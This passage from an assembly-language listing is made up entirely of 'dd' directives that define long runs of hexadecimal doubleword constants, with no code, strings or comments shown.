		dd 65BB2E5Eh, 1D0A8639h, 0D4BB594Ah, 0BFB7FF46h, 9432387h
		dd 927C477Dh, 1B7EBC01h, 0E3F839Bh, 1E8A6828h, 0F1F3AB12h
		dd 6321BA92h, 88ADD706h, 3D199675h, 0DCCFC9E9h,	0CBB85168h
		dd 0E75CB10Ch, 3EB70C6Dh, 4001D903h, 9856660Dh,	2AB0D42Eh
		dd 5D0ABC25h, 0F7832FC2h, 0D1043DDFh, 21710CEDh, 40FD8A83h
		dd 71E90860h, 0B998BD9Fh, 52815FADh, 2810BB62h,	5E501D9Eh
		dd 0FAB754CBh, 81D4C5C4h, 2725BF79h, 0F2C49112h, 7B05CE1h
		dd 0B634B982h, 37ED5D4Ah, 0CC69FC13h, 194A5857h, 4EF4C844h
		dd 8F69FCAAh, 99E45CCh,	67EE6701h, 65EC7285h, 96489CA3h
		dd 5711B12h, 872708C6h,	676A28D1h, 0DDE04017h, 800F1BB4h
		dd 1586C6C4h, 4C204190h, 42B80E70h, 540884Dh, 0DD62F47Bh
		dd 0F8AA609Dh, 0E93A9C23h, 0E592CD87h, 5A2BC8Ah, 336106BAh
		dd 1E0EC2AAh, 96E0D101h, 6042277Ah, 0E209BC2Dh,	0C35E01E4h
		dd 6220CB3Dh, 68C14144h, 0B9C31AB0h, 87B0FDB1h,	9BC05373h
		dd 5933BBF2h, 9A0908Bh,	1AA57943h, 8835F7Ah, 2E5B87A9h
		dd 561B6F9Ah, 2BAA68E1h, 705CC9AAh, 88B439EAh, 7FABD780h
		dd 90F52930h, 0C2DF4F17h, 86463395h, 0CAFFDF90h, 0D3FF968h
		dd 13C0BF80h, 0A4213B77h, 634F89CDh, 6D075830h,	0BD3E4E4Eh
		dd 525A1080h, 0CFA6FED2h, 0E818E9C2h, 85416374h, 56004F3Eh
		dd 48091468h, 5D5E57BBh, 0A8011285h, 49118105h,	0B23F52FCh
		dd 0CF8100D9h, 69026FEEh, 0BA0984Fh, 415F3BBBh,	6663AB62h
		dd 444222DFh, 325DAB61h, 364171D0h, 0B8E06C25h,	0FF835163h
		dd 0F27EA02Eh, 310F5DBEh, 611BE6F0h, 83429070h,	0F012DA49h
		dd 0A7B903BCh, 315FA574h, 6AC05019h, 9023C59Fh,	1D279B10h
		dd 8CCB5755h, 0F200B228h, 16B900CBh, 8364E639h,	0C0BF01E9h
		dd 76A82177h, 0AEE10760h, 0E217C01Eh, 0B1FF93A4h, 86222A64h
		dd 50A96882h, 0F796E171h, 7329C0A5h, 0C238AE5Ah, 4F40B055h
		dd 54040F2h, 36C214AFh,	0B49FED98h, 6B65B1B0h, 0D0A499D5h
		dd 0A43BD925h, 8B04F73Ah, 29169771h, 1E8D71Ch, 0FF0DC1D8h
		dd 62A74219h, 7E33BE01h, 0C8B9BA43h, 0BF03F202h, 0E85DCD62h
		dd 0FF8BF823h, 0D7E6CA2Fh, 5BD80961h, 135F4F26h, 0E42CB873h
		dd 0E9C26BF8h, 0CE7F32F9h, 0EA682EA7h, 0B1E9C26Bh, 0F3442AD5h
		dd 8D01738h, 0CC1946EAh, 0D651874Fh, 8FB83ABFh,	0C1D50C69h
		dd 0F73B5A9Bh, 99E912B6h, 0F70F2ABDh, 2F2F76A0h, 0E7D8AD7Eh
		dd 0E265DEB5h, 0EDF9F313h, 984D2942h, 96852D4h,	42C83486h
		dd 0F89F2F96h, 8E0F2EF5h, 0C9CA0113h, 0BC083968h, 9B3C8918h
		dd 134D507Ch, 0EE0ED29h, 552D52Eh, 429CC9B6h, 0D108E6FBh
		dd 94CF8057h, 0EC549257h, 0D96801F6h, 15E9BD83h, 0A7C2A35h
		dd 9571A05Ch, 45D2093Ch, 4582E2C1h, 0EE757846h,	0BE149859h
		dd 0A2E593B1h, 2AFC6D4h, 0B6FE5B21h, 0CB85A03h,	3F98010h
		dd 0A9D32335h, 58C7E18Dh, 0B76DB260h, 0B48C0A7h, 0ACB2EDFFh
		dd 4104C962h, 7BCAE793h, 104B1928h, 39652FEBh, 4AB107F0h
		dd 0D289A657h, 4FDDB6AEh, 2810CCA6h, 16884CEEh,	0C8FEDB31h
		dd 0A54155AEh, 8045E62h, 0AA521268h, 30830A30h,	0E93C128Dh
		dd 5EA1A80Bh, 45693CDCh, 36063F4Dh, 4ED3455Ah, 97B50E91h
		dd 0E868EC7h, 59D55709h, 2EE9E2B5h, 0D425AD7Ch,	96549E25h
		dd 0B791BE0Fh, 43F5306Dh, 815BCC60h, 0A0D0285Ah, 0BF2DB868h
		dd 80BDCAECh, 0AE52F786h, 0E66B83Dh, 53BC010Dh,	3B75E5C1h
		dd 0F5C4202Dh, 0F36B8D0Bh, 0E9AB011Ch, 31FDD37Ah, 0F8E5EE05h
		dd 0F6B2C83Bh, 372C1F40h, 0BFB751DBh, 0DBE4D7ABh, 0E2A2C8F0h
		dd 0CB19DE77h, 68129FCCh, 59B3716Eh, 32806938h,	50FA0D1Ch
		dd 250521C2h, 607D7384h, 70C7DA1Dh, 48000664h, 0C7046B35h
		dd 0AA9D680Ch, 0AFB6C7E2h, 101B0473h, 8236F3DEh, 0D461D905h
		dd 8230083Ch, 22FE2D17h, 8DF4995Bh, 62E3BF00h, 52290C88h
		dd 1C4E2FDh, 5D3BDCDDh,	7DB20C5Ah, 41F45205h, 0AE40BAF7h
		dd 0B10BEBEDh, 0C4DAB530h, 7C770882h, 75E2627Fh, 2B008164h
		dd 50362148h, 584E7EB8h, 0BE765F1Ah, 0F38703A6h, 848D6F7h
		dd 0EA1C1CA5h, 12BE8413h, 7A08E8A9h, 5F4E7A69h,	0A43B8818h
		dd 41CC51BDh, 0F567DAEFh, 28DA2C57h, 5B4E08C7h,	0ECB72CFAh
		dd 34E9020Ch, 0B5C2439Bh, 6A5DD5E9h, 24EA8E62h,	0F517C82Ch
		dd 86827E2Dh, 0C1070231h, 4D7C6234h, 3DA9604Fh,	0F0AC393h
		dd 0DF0AB3B6h, 0E54EC055h, 0E4AE6707h, 5912CAC3h, 5804525Fh
		dd 88143418h, 8D49AE5Bh, 48B50E51h, 1AC2085h, 798856BDh
		dd 0D4E34005h, 0C26521F2h, 0D7ACC542h, 14555B27h, 0FDE91C8Fh
		dd 45DD2731h, 2F12A4F7h, 25CD1855h, 0C97BB76Fh,	0E1B15449h
		dd 28D0A6E9h, 0FAA8E588h, 0AB5A7225h, 4BF59E20h, 0BEC4BA59h
		dd 0AD942661h, 56EBD100h, 875B39F0h, 0CC68D870h, 2466BD12h
		dd 4BAF7E49h, 611A83EEh, 95662130h, 0C41A8E68h,	5986563h
		dd 80C7E1C1h, 96240940h, 5349243Ah, 0B8A917C8h,	0E9EDA5D4h
		dd 60290193h, 6A6BA32Ch, 841DEB8h, 0AD6F7C35h, 954DD55Ch
		dd 0CE98E3Ah, 95EF5758h, 7F9776DAh, 56B54E9Ch, 4AE9867Dh
		dd 9BD1A8Eh, 67E45D8Ah,	89395A9Ah, 0A7164AD1h, 76BD5111h
		dd 59199D25h, 67E84FC6h, 5E5D109h, 4CA24E96h, 0B94BBA92h
		dd 6915F641h, 89455005h, 1812BCFBh, 0C6654DCDh,	0AF562D27h
		dd 1710980h, 0B7B81110h, 48315CC1h, 0A27B2FB3h,	8921D88h
		dd 1EF1797h, 0EFC80A3Dh, 6C3C9EE2h, 295B97C5h, 80D5FD4h
		dd 33080E5Dh, 691B02EBh
		dd 0E388E96Ah, 7F588D49h, 3905A187h, 4D814AACh,	8567483Bh
		dd 570B6142h, 49039104h, 0F9D73CC9h, 0CEDB7290h, 0F5DA2DDDh
		dd 0BEBD107Dh, 0BE058392h, 67110230h, 0B66D4FAh, 0CB455908h
		dd 78BF0F89h, 0FCE58AC7h, 0E8290E9Ch, 76C105A3h, 935CECCCh
		dd 563E12A8h, 0FEC492FFh, 547228BDh, 18D6B51Ah,	1071D7FAh
		dd 2CEA7525h, 65C42240h, 64EFDBBEh, 0A3F8407Dh,	7325518Fh
		dd 4B21B259h, 910EC1C7h, 0B93FE90Bh, 8327BCEEh,	0C11455EAh
		dd 70E3E913h, 41A392F4h, 21B221CAh, 9460CE62h, 64E9DB27h
		dd 0B009E24Dh, 0F73E9D21h, 61BF5090h, 6E60CAEFh, 41257EDBh
		dd 0AB3DE10h, 2E1CF01h,	75804AE4h, 40E917C0h, 205DEA5Fh
		dd 0E105FF25h, 4B7EFCD3h, 16CF2AFFh, 45EA42E9h,	0B35AD0C7h
		dd 0FC59254Ah, 27DC0183h, 70BE293Eh, 7792C24Ah,	7D26A517h
		dd 0B34701FAh, 704AD31Ch, 0C2DA26Ah, 800CFC49h,	7E9E6852h
		dd 5A6350BAh, 606928D8h, 4D74F0E8h, 21256B0Eh, 11296D6h
		dd 0F851A9F6h, 6C17E969h, 112C1374h, 0EE77C509h, 90579F40h
		dd 0BF45BFBBh, 80BE9200h, 0D89D29C1h, 706C2E5h,	9FDCF0E9h
		dd 2407BE2Fh, 82672B43h, 2825B252h, 0B59F457h, 0AEDDABEBh
		dd 0A0CCB7C8h, 0F1AF5FB6h, 0D0403F8Ah, 179C8BEEh, 67E0F80Fh
		dd 74F57BC5h, 0B9EFE07Ch, 0DA7DD024h, 464D723Dh, 89014B5Fh
		dd 0ECD71865h, 0A41F817Eh, 0B14D038Ch, 3EA74733h, 1EC6E1D8h
		dd 5C5F9240h, 9C2D8EEEh, 0EA5BFFF4h, 3D4A5D9Fh,	3C9BE05Dh
		dd 80408264h, 2BB1D959h, 678D1BBFh, 9911F1CBh, 68874C2Ch
		dd 91F92B75h, 3993BD80h, 1EBE6CDCh, 2523C671h, 0F995D2D8h
		dd 4BE488ADh, 44EB983Ah, 5E27680Ah, 0F2DF3534h,	66C3C958h
		dd 313E6578h, 61AFC3E3h, 0BC350E00h, 2548F143h,	987D12BAh
		dd 831AFC78h, 0C860BE2Dh, 0B35404Fh, 0B0C41720h, 0F6370B5Dh
		dd 725252F3h, 0FB6DA72Ch, 3FD22D45h, 0B021735Eh, 17146808h
		dd 7862919Eh, 23FE0964h, 7EE9CF12h, 1428B384h, 44702C93h
		dd 44D700CFh, 335827DBh, 530DD335h, 0ECC1C3FAh,	1EF10D4h
		dd 33EA3D41h, 204BED96h, 0DF15A774h, 7E950C7Fh,	743C0253h
		dd 0BB6233C4h, 922322D5h, 0BA195F7Fh, 7D1CC0B2h, 857035FAh
		dd 5AEE7495h, 0F88F64FFh, 1CB4135Bh, 6B7A858h, 0E5A2D52Dh
		dd 0BFC67B52h, 5096705Eh, 0E9B0BAA2h, 53BB432Ah, 5367F600h
		dd 1FE7812Bh, 245C2C93h, 0DB7201D8h, 2A05D7AFh,	2DE99CE4h
		dd 3001C058h, 28315BDDh, 88261080h, 0BF6E3C50h,	8304C180h
		dd 0D8E0F52Ch, 8FB7D3EDh, 8DD6F2E5h, 3CD0E107h,	78282D1Eh
		dd 80093081h, 222BE20h,	81688D01h, 7B6061CEh, 39EA06Ah
		dd 8F1387BAh, 81FE2EFFh, 3C6ECEA1h, 2BFF9623h, 5D5C2F47h
		dd 2F5AD731h, 89F441D1h, 2FF90205h, 0F95DC828h,	82B340BDh
		dd 0E924CBFEh, 5B8B4194h, 0ADC56B05h, 0A6BD52AFh, 0BDCE97C2h
		dd 1C44D82Eh, 16D7256Bh, 0A870B073h, 0A87CB4Dh,	4354652Fh
		dd 7478008Bh, 64E970B7h, 4BD54659h, 0BD18D8ABh,	67BB32B4h
		dd 0DF24F0Eh, 65D7E473h, 1BE9EC5Dh, 64C1BF0Ch, 30B14DF4h
		dd 2B9A6B0Fh, 0F4191420h, 9BB260B8h, 223E79C3h,	60833A3Bh
		dd 5878F312h, 0C49601Ch, 0BDAE119Fh, 875B4790h,	0AD043053h
		dd 0F2FC26C7h, 5C6856C2h, 544F42D8h, 818373EBh,	0C3E9B95Eh
		dd 17EF0840h, 0BE1B4F39h, 0C009099h, 958D1CE9h,	41791A77h
		dd 307268FDh, 0C7C2872Dh, 2F676EFFh, 93E8669Ch,	891020D6h
		dd 98602162h, 6FFC351Ch, 1E0049B0h, 55EAC0Fh, 0DD110EFh
		dd 5AF5E926h, 7BEC2148h, 0BD619FB5h, 0F4C4BD7Ah, 5BD58DE4h
		dd 7A2DE65Ch, 56EDE74Fh, 0FA597281h, 6E2E7035h,	9AE0DD2h
		dd 0D6292357h, 2AD81556h, 0E585C097h, 75342954h, 0C8DE63B5h
		dd 25929AF5h, 3CC0EF8Bh, 0C53EB951h, 0A947242Bh, 94091C1Ch
		dd 24637868h, 0BF1C24E9h, 0B007B605h, 0B9C1FAB7h, 0C0D22CF0h
		dd 0B0D5C5F3h, 0FC735601h, 13E65026h, 0E375BAD3h, 23A0AD80h
		dd 28597B4Fh, 0E9505E3h, 98874C5h, 414342DEh, 90400EA2h
		dd 0D03E59F4h, 0F1EB1D7Fh, 0D6ADF09Dh, 53FBC2E1h, 690CD1DDh
		dd 12036C04h, 853FD9BBh, 33796810h, 38BBE030h, 692A2427h
		dd 0C3C192E1h, 0BFFC33A1h, 20A13BECh, 1BD06441h, 4AE0BD6h
		dd 79A517h, 340CB95Ah, 0D25EA0h, 0E9CF219Bh, 77C465B4h
		dd 398050E1h, 19A625ABh, 0BAFB863h, 9BE07F29h, 106A9FC1h
		dd 0A902C062h, 9456D5E3h, 0D87565EFh, 7DA7ABDh,	0E97DD15Fh
		dd 0FB244351h, 5675D109h, 55B283D5h, 0A9D97785h, 0D8CDAFC7h
		dd 0D9F63D22h, 0CD1CDE97h, 2CF068A5h, 0B80B7755h, 0F34E305Eh
		dd 15DA3C28h, 0D95FF812h, 11AB2A55h, 54C4DAF1h,	68389097h
		dd 0F02F7F78h, 0A7634319h, 0F70B8CAAh, 803FC2DAh, 94D9A526h
		dd 25D3BAA3h, 0D445D189h, 0F4875289h, 0FD4166DFh, 90BB4F4Bh
		dd 675FEF56h, 72FCEDB0h, 41FE84D2h, 0DC7ACB88h,	0B1986C36h
		dd 0F805401Ch, 0F00C5009h, 79F85681h, 7C4695FCh, 939B7595h
		dd 0BB053FEAh, 1561680h, 0C3C4D431h, 0D023CF07h, 6D62A918h
		dd 0B20EDFEh, 27AC76C8h, 0C597D27Ch, 148F950Dh,	0D19103h
		dd 63192E46h, 45EA814Dh, 264A5976h, 1EE340FEh, 0E919D258h
		dd 0C5C94D71h, 946855D1h, 272D2D84h, 0B50FC365h, 709E7A51h
		dd 0E0FC094Bh, 4A7D9810h, 122913F0h, 0EBED81F5h, 5EAEB385h
		dd 4F7AD092h, 0E7A7D8FCh, 53569957h, 975AD069h,	5D02B676h
		dd 51663B68h, 6C378C0Ch, 0B8ED57B4h, 0B5BF028Fh, 5E922FD3h
		dd 82C49358h, 0D06F535Fh, 782F5F24h, 0D3CCB733h, 527FE6E6h
		dd 1EBBDD33h, 0C26AB380h, 7AA70FEh, 37CA5BAh, 0BBD2C416h
		dd 75EEEE12h, 0F3CA1606h, 0C78382D6h, 0F69EF502h, 3E4114B0h
		dd 0BD2274F2h, 6B093A2Fh, 0B51655Fh, 45D55453h,	310D6C6Bh
		dd 4ABBE980h, 0E49CFA3Eh, 451C9EEEh, 0FE7A95ADh, 55487000h
		dd 4829238Fh, 8418FCAh,	1131A26Fh, 126B3EEDh, 6775E609h
		dd 31E905D1h, 0C456BC08h, 0F2A3581Ah, 0F62B1717h, 0D10589B5h
		dd 0E1E5889Eh, 77254F26h, 0DB5B9DECh, 552C763h,	68446D4Dh
		dd 0EB9D0A33h, 1DE90407h, 4D89AE5Ch, 11B5D6E1h,	5F6EE53h
		dd 4E26B2D7h, 56B83E16h, 0B439FAA4h, 0ECEBF314h, 405FA253h
		dd 0A82D6544h, 9F3DE19Bh, 0B90C1A0h, 0C1174859h, 92A006EDh
		dd 140F14CAh, 2D05B6C0h, 0FF347E1Eh, 3EF51E40h,	0BCB4D8FCh
		dd 1B5E8B80h, 69EA9457h, 368EF3A9h, 7BF7EC07h, 484844DFh
		dd 0FD83D42Ch, 0ECC42B2Fh, 0E9074031h, 4F2A1F38h, 68593CFAh
		dd 196EC627h, 0FB3B4A06h, 5DA0BD32h, 238CFFD1h,	6F591091h
		dd 3380DC5Fh, 0D8F74822h, 0F8D0531h, 4B31C701h,	12A4136Eh
		dd 7A2FEF54h, 0C02FE917h, 0BF57ADBDh, 0D658DB0Fh, 0DE04F660h
		dd 0F130B7Dh, 0B109E834h, 0CD60D2C2h, 99C7C9h, 58565EA5h
		dd 4E54EE68h, 73EEB977h, 0E927190Bh, 6861C13Ch,	506D36D4h
		dd 5A90CC1Fh, 0E1C989E0h, 0DC5ED688h, 0CCEB0493h, 22502E93h
		dd 0D617BEB7h, 0EFF1D5DDh, 52F51E30h, 0BE92485Eh, 0BE4A72E3h
		dd 0D0D9673Dh, 551ADB68h, 58753481h, 4C8CA0A8h,	0BBA79460h
		dd 3124483Eh, 940AD45h,	73B578AEh, 1221A61Fh, 0A6CEA877h
		dd 8C3D4A4Eh, 0B54FA5DBh, 6468CF30h, 0BE2FE102h, 0D786D03Dh
		dd 181122E9h, 489CB125h, 0BF9A5A09h, 46089C45h,	78B803E4h
		dd 5880A4Dh, 0F571B28Ch, 50C6292Eh, 26F8C8EFh, 28310206h
		dd 7F7059CBh, 2768660Eh
		dd 0B99D9B3Fh, 0D24C4455h, 53CE06B6h, 4256E8E9h, 5BDE2912h
		dd 2D50540Bh, 0BC2A3A7Eh, 0F493B2EAh, 1C981F6h,	0ED351839h
		dd 9468CAh, 4C1704BAh, 0B544815Fh, 293066E6h, 89E91054h
		dd 91E91CFh, 0AAB45B80h, 30AA5E4Bh, 7747C633h, 0DA787C2Fh
		dd 5F0880D7h, 29692F68h, 732A9CE6h, 81B07904h, 17BDD040h
		dd 0AC97638h, 0C38B0F17h, 28209C50h, 3E7CC03Bh,	810AC159h
		dd 3212F71Dh, 0DD09690Bh, 0C7A2A238h, 98F30180h, 0F9E74E1Ch
		dd 0A3BBD269h, 1CFF91AEh, 0F89AC731h, 80718508h, 17FACA52h
		dd 30A7A93Bh, 3A2F0E59h, 0C56604Ah, 0A688910Eh,	0E9F9290Bh
		dd 2EDFD8D9h, 2B9DDF7h,	483514C4h, 0BF3F2D7h, 5588B095h
		dd 0DBF182FFh, 4220774Fh, 5FA75D01h, 0C8B8F3FAh, 0D3180883h
		dd 255A0E50h, 0D738172Fh, 540AA12h, 8DCF8B05h, 0C3012640h
		dd 7CF839E9h, 0E5615E14h, 0AB080499h, 4BB2C180h, 255401DBh
		dd 36C27B95h, 174F42Dh,	33356607h, 5F04B49h, 5FD3D122h
		dd 0D6628144h, 0E0B9009Eh, 33E82706h, 68D6E27Fh, 0EF38101h
		dd 61434188h, 0E81F7659h, 0BDBC7D1Dh, 0E25B4511h, 0DFC32F2Fh
		dd 0C8979B96h, 83477BAFh, 68287790h, 6522E2Eh, 5D626FC1h
		dd 318BF32Dh, 6135A2DDh, 48E75745h, 9DA25416h, 5A580192h
		dd 434E0D75h, 3AB012D4h, 0C632E968h, 0F459845Eh, 0C51C3D63h
		dd 47572503h, 0BBEC8858h, 6B550500h, 2B011AD8h,	813B5808h
		dd 0BFE95456h, 0EEAB8112h, 41614D8Eh, 0FC3AB521h, 85055A18h
		dd 60995ADBh, 0BFBB7160h, 0C1C7B320h, 559F2140h, 0CA437289h
		dd 9020B685h, 0E9175BDDh, 16005EEh, 592A83D0h, 575F242Dh
		dd 68124896h, 0F2615D35h, 7E2D6BD2h, 0FC4B2449h, 0D2E14B9h
		dd 0CBFDDFD7h, 0C580CCC0h, 0B4503999h, 90E7207Bh, 736ABD00h
		dd 4F684D48h, 5D53C446h, 2C821E51h, 60379C1Ch, 0B605E319h
		dd 0B15178B5h, 0D0984490h, 5BA68F25h, 122926F6h, 2BFDCC2Dh
		dd 0C5201541h, 0A164BF66h, 81070660h, 0D778DAF6h, 3DC7AE42h
		dd 753932D9h, 973867Ch,	672E98Ch, 82E90274h, 78C1E6h, 5431595Ah
		dd 0B8205A92h, 16FB9D22h, 0BE4E0ADh, 0F9764AABh, 50DA027Eh
		dd 80471F6Bh, 165BE9FFh, 0EC015F96h, 2ED299B2h,	68485C00h
		dd 0C4F3464Ah, 58BEC04Fh, 1B129B2Dh, 45F45FEh, 0CBBAD3D7h
		dd 501D0221h, 64293D83h, 21087634h, 8202B99h, 1171CD0h
		dd 0E9038F51h, 4F648814h, 0F6193C22h, 3FE8E84Fh, 8AA42742h
		dd 0ED0B0914h, 90A39075h, 0BB7F8269h, 538DACFh,	0CF86C253h
		dd 0D6958BF5h, 419F0BDEh, 2368CBA1h, 0D9F7C230h, 5DEB4259h
		dd 3A78660h, 5067DE8h, 82AFFC5Bh, 227716h, 0DB0D7711h
		dd 0E909871Fh, 2D01F02Dh, 7307FA8h, 52AA3CEDh, 0D09D874Eh
		dd 14E5602h, 804C541h, 298F03EBh, 0EAE03613h, 71247C7h
		dd 0B200427Dh, 0A62C716Eh, 0AB5F9701h, 5459058Bh, 5F519844h
		dd 0CA81EF80h, 0BC6B0227h, 0CEB5E91Ah, 0BDE1C6F5h, 3EA90561h
		dd 4B712831h, 3BC1393Fh, 2E8839EEh, 6882BBACh, 0DED3CECh
		dd 621DA22Dh, 2000AF1h,	4E06B01Eh, 0FBB3E385h, 0AB96AAB2h
		dd 0E3C1E2CDh, 7A272A64h, 81BF4ADEh, 6E3E45D9h,	613AC5CCh
		dd 5BE24F81h, 9BA3B32h,	46AF0322h, 0A72EF813h, 0F54E95F2h
		dd 0A03B3271h, 0FA515B37h, 8431A04Ah, 41EE4112h, 69223784h
		dd 21C8F172h, 0EB7550CDh, 5105750Eh, 785368F8h,	0CB5136EFh
		dd 160C9A31h, 5020D388h, 8440828Eh, 7CB37521h, 0DEE1680Bh
		dd 9EF29427h, 6312839Dh, 0EFD91609h, 0B8E2F80h,	2E12D750h
		dd 0A14CA5Ch, 2F0705C8h, 0E9066345h, 35874615h,	0BEAD7729h
		dd 0F1D3DC8Bh, 683E868Dh, 585333D5h, 0C38B381Fh, 0C5EAC55h
		dd 0DD691236h, 71B3BF03h, 0E98842A4h, 715D86BDh, 9C1A84Dh
		dd 31AE7B0Dh, 520B3558h, 666D87E9h, 488E0026h, 814F34C5h
		dd 4A185CCFh, 0C70E736Ch, 16C1391Ch, 2C0C3126h,	10C500A7h
		dd 46E9E4A6h, 0FDBAC297h, 0F031F2D9h, 500929Bh,	0D2E11133h
		dd 2CFB4441h, 0C6F4C440h, 4807FBE2h, 0E420C05h,	330FAFB3h
		dd 0A64A8CE9h, 10F63FBDh, 0ED0FDDC8h, 0D4C95508h, 0F28EEF76h
		dd 673AA416h, 981682h, 720656BAh, 3727417Ah, 948527Dh
		dd 0DC763AFh, 0A4BB45F7h, 66220233h, 476B0F20h,	3E0B2EB9h
		dd 6008DE50h, 0DB48824Ah, 0E4A7164h, 0DAF7EAD1h, 78498ED8h
		dd 0CC63531h, 133145D4h, 41415A72h, 6E0E0C82h, 6D40492Ah
		dd 0B69E13C3h, 0C8808596h, 70B4D6B2h, 0BA3DE5D4h, 0B60338Bh
		dd 56166968h, 720067BAh, 472580F5h, 840CC164h, 3E55FC72h
		dd 6613B6BCh, 0EB38BA51h, 4B1CB0B6h, 0EE06C4FDh, 0B9029FA8h
		dd 266706D4h, 741C3940h, 3140EF09h, 0F6D680CEh,	35B798h
		dd 76B60511h, 0F00127A3h, 48072D51h, 0AB5FF3E7h, 1AA22375h
		dd 0D265EE97h, 5832A2BEh, 0BAAA253Eh, 47ECD541h, 720B305Bh
		dd 0EEE75766h, 0DB14395h, 15296E68h, 2979F9D9h,	4EAE0510h
		dd 46F2CEBBh, 0F7BDD760h, 5A68A4D8h, 146B1162h,	97C55F43h
		dd 5FDEF501h, 0C0301F1Bh, 0DD7CB7E2h, 5E197742h, 0C768E107h
		dd 0DFCC2B2Fh, 0FFE84FF9h, 2CE93778h, 93E40936h, 208DA14Eh
		dd 3839340Ch, 20905841h, 0B0079FCAh, 2FFE3E96h,	52C933D1h
		dd 0EB969D09h, 3B207F0Bh, 52AA8009h, 954C1771h,	0F709025Fh
		dd 7A2F60D7h, 4058333Bh, 0A5828AA8h, 0E9F8F981h, 52D15489h
		dd 96F3AA9Fh, 0F897FB96h, 0C416351h, 0E971D02Eh, 0DEBF8F53h
		dd 9B5262EFh, 18ADF709h, 962D2008h, 37D89BA9h, 0E0BD17F4h
		dd 0ECEAD894h, 3264B960h, 0AB3C5FB6h, 0C091B961h, 97C1BA05h
		dd 364BED5h, 0CC5E44E7h, 0C65B4960h, 97A65AC1h,	2BEE3300h
		dd 61982C10h, 0D49A7627h, 42AA62C1h, 0E8C42904h, 700C1982h
		dd 484E60D2h, 3277458Ch, 0F0CE6ECh, 52154217h, 0AAFE2E3h
		dd 5EF789DBh, 55CE02C0h, 0D880602Fh, 1A341B1Dh,	48B58B7h
		dd 0EE0A3D05h, 2EB947Ch, 4D84E907h, 993EF355h, 305BD3A1h
		dd 24AB867h, 0F84A0BA7h, 144F04B4h, 5F1469D9h, 0F3A17120h
		dd 0B9E78137h, 7A402BF5h, 0A03F02Eh, 0DB3D0638h, 0F1CD55A0h
		dd 0C17598F3h, 120360EDh, 4B0676E2h, 0E077E4FFh, 2110820Eh
		dd 2B9029E9h, 28B8F36Ch, 34882536h, 5C3707A2h, 0FBEB86E3h
		dd 335858EAh, 28B8B109h, 9E6F68CFh, 38D88332h, 501A7C53h
		dd 5F55012Dh, 686F4482h, 0B0826046h, 262752D7h,	530085BCh
		dd 5251C380h, 889BB60Ah, 0EE139DF1h, 0AC7A24F1h, 3D09DFF2h
		dd 0C8655D53h, 50276894h, 0C8BF3BF4h, 123AA88Fh, 0A2294B0Ah
		dd 0CC68CFDCh, 0B73C3774h, 544DA38Bh, 4226792Dh, 410097FFh
		dd 3E1C1h, 13106852h, 515A05B8h, 69EAACA0h, 811A2F0Eh
		dd 4565C0F7h, 970DE972h, 0BB2E85h, 88C3015Ch, 0C0FE5B0Bh
		dd 24CDA349h, 7102BCBh,	0B04E3E58h, 3841B1F3h, 73C00020h
		dd 2F4A7B16h, 0EDE4ED8Ch, 4F497CC1h, 0E4E625E6h, 8037825Bh
		dd 5A7F3291h, 3486B84Fh, 0BF3C35CCh, 87A1F7ACh,	4EFFC247h
		dd 0DDE9D24h, 39D04644h, 3B03E2C0h, 2887B753h, 9E305BFAh
		dd 3E08D44Dh, 31E960E0h, 882ECCDAh, 4F2C22F0h, 874917D0h
		dd 16C590CFh, 0AAA48AFh, 92B3410Ah, 0E2DDEF5Ah,	5742BE3Ah
		dd 61D4F659h, 0E06C1B41h, 0AC3104DFh, 0D10BAF47h, 5C00E1E4h
		dd 4B2A2A7Eh, 0C88EBADh, 0E33C188h, 77D6095Dh, 0F7AEF201h
		dd 0ECF9AD5h, 0F5A496A8h, 1CD41C2h, 0C2757BD7h,	0E845F17Fh
		dd 0F0576976h
		dd 2C48896Ch, 28310C11h, 0D9B29321h, 9C685B81h,	76F66E70h
		dd 7B26600Bh, 0E60B99D0h, 8F7DA26Ch, 73023E15h,	74EF31A6h
		dd 3DC90258h, 0F45D6C04h, 438E42F9h, 685F5EA0h,	1ABD56A1h
		dd 0BFB696C7h, 0A5B4F94Eh, 58EB7E7Ah, 71CB512Fh, 776E8932h
		dd 4492459h, 8CEAAFCAh,	0F664289Ch, 0FEA5BA10h,	463A442Fh
		dd 0DB9CB839h, 8BABEDC9h, 73E98388h, 0AA404F6Fh, 421A3E8Eh
		dd 0D37D1E30h, 2A32623h, 0FC842A03h, 0C1029AF5h, 0FA7CDDD5h
		dd 6B9A4179h, 40021BF0h, 50915C41h, 0C1A8E66Fh,	3E8E61Eh
		dd 273F0507h, 0F3EA3BF8h, 405DEFEAh, 0B52FFA3Ah, 8AD247BAh
		dd 12F5E321h, 8A2CBA1Ch, 0A2089523h, 0E1D75AEAh, 19299B06h
		dd 3DC29CD8h, 0BDEE2980h, 101E8B00h, 0F9B830C9h, 7C129F01h
		dd 8439E95Eh, 920A23Eh,	77E3A785h, 3B663569h, 0F1C6D018h
		dd 10FE9DBCh, 0F782F442h, 48AB2730h, 0C131CE92h, 0F40434E5h
		dd 6AF7EF04h, 1E5C2927h, 0F56998C2h, 4303EB71h,	9A6DBC29h
		dd 0C01326Ch, 811D08E9h, 80FDB642h, 0E02E89CEh,	6978E64Fh
		dd 0E92727B0h, 0BE7000A4h, 19B239Fh, 0BAF6817Bh, 30470C68h
		dd 201728C3h, 95BC6D32h, 6895E983h, 0E31F3670h,	6F2C380h
		dd 95A57847h, 5794B1D7h, 0E95E9878h, 0C84A868Dh, 0B9719D44h
		dd 51186805h, 0EF27A1B3h, 5CBD81F8h, 0B8507034h, 551F2086h
		dd 5EF38102h, 7F67414Ch, 0AC4C1F7Ah, 808409FCh,	0E1870EE7h
		dd 12454F6h, 0C7EC5BD9h, 0B5511642h, 81E40993h,	0E5DB36Ah
		dd 4DE4DB9h, 51488F00h,	0EF374003h, 8C59FE00h, 74E9F289h
		dd 0BC71B1D5h, 0AF7FCA18h, 381E37BAh, 5FF80B8Fh, 60BBB280h
		dd 0B5433D12h, 73F27618h, 98B807EDh, 775DD809h,	2F470002h
		dd 953DB3BEh, 796C9CC9h, 37B14A64h, 5CB0F83Bh, 685AA0C4h
		dd 8C2A4EBBh, 3D499F1Dh, 0F9E85E43h, 42D66127h,	27B852E9h
		dd 78224C12h, 9A7F249Ch, 49120217h, 5325DEA7h, 0CC7A0C58h
		dd 0C2739880h, 71E93509h, 0D42F3874h, 0FADAA0BEh, 4998270Ch
		dd 1608F776h, 515E001Fh, 9C448D68h, 0B0050A48h,	5D98741h
		dd 0E0E9D3F7h, 5856C860h, 0B2971CF8h, 0C47E40F6h, 84FF822Dh
		dd 0BF167656h, 21E3E480h, 0BBBB503Bh, 655209C3h, 255CD1Bh
